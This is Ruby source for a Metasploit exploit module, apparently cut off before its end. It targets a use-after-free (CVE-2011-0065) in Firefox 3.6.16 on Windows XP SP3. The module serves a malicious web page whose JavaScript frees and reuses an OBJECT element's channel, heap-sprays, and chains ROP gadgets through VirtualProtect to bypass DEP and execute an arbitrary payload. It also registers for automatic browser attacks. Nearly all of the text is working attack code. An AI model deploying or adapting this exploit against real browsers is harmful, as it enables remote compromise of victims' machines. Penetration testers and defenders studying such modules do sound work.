## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "3.6.16", :ua_maxver => "3.6.16", :os_name => OperatingSystems::WINDOWS, :javascript => true, :rank => NormalRanking, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Firefox 3.6.16 mChannel use after free vulnerability', 'Description' => %q{ This module exploits an use after free vulnerability in Mozilla Firefox 3.6.16. An OBJECT Element mChannel can be freed via the OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel becomes a dangling pointer and can be reused when setting the OBJECTs data attribute. (Discovered by regenrecht). This module uses heapspray with a minimal ROP chain to bypass DEP on Windows XP SP3 }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', # discovery 'Rh0' # metasploit module ], 'Version' => "$Revision$", 'References' => [ ['CVE', '2011-0065'], ['OSVDB', '72085'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'], ['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, }, 'Targets' => [ [ 'Firefox 3.6.16 on Windows XP SP3', { 'Platform' => 'win', 'Arch' => ARCH_X86, } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 10 2011' )) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli).encoded) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end def generate_html(payload) # DEP bypass using xul.dll custom_stack = [ 0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retN 0x8 0x7c801ad4, # VirtualProtect 0xbeeff00d, 0xbeeff00d, 0x1003876B, # jmp esp 0x0c0c0048, # start address 0x00000400, # size 1024 0x00000040, # Page EXECUTE_READ_WRITE 0x0c0c0c00 # old protection ].pack("V*") payload_buf = '' payload_buf << custom_stack payload_buf << payload escaped_payload = Rex::Text.to_unescape(payload_buf) #Random JavaScript variable names js_element_name = rand_text_alpha(rand(10) + 5) js_obj_addr_name = rand_text_alpha(rand(10) + 5) js_sc_name = rand_text_alpha(rand(10) + 5) js_ret_addr_name = rand_text_alpha(rand(10) + 5) js_chunk_name = rand_text_alpha(rand(10) + 5) js_final_chunk_name = rand_text_alpha(rand(10) + 5) js_block_name = rand_text_alpha(rand(10) + 5) #Reference: adobe_flashplayer_newfunction.rb custom_js = <<-JS #{js_element_name} = document.getElementById("d"); #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0); #{js_obj_addr_name} = unescape("\\x0c%u0c0c"); var #{js_sc_name} = unescape("#{escaped_payload}"); var #{js_ret_addr_name} = unescape("%u0024%u0c0c"); while(#{js_ret_addr_name}.length+20+8 < 0x100000) {#{js_ret_addr_name} += #{js_ret_addr_name};} var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,(0x48-0x24)/2); #{js_chunk_name} += #{js_sc_name}; #{js_chunk_name} += #{js_ret_addr_name}; var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2); while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};} var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - (0x1020-0x08)/2); array = new Array() for (n=0;n<0x1f0;n++){ array[n] = #{js_block_name} + #{js_sc_name}; } #{js_element_name}.data = ""; JS #Remove the extra tabs custom_js = custom_js.gsub(/^\t\t/, '') html = <<-HTML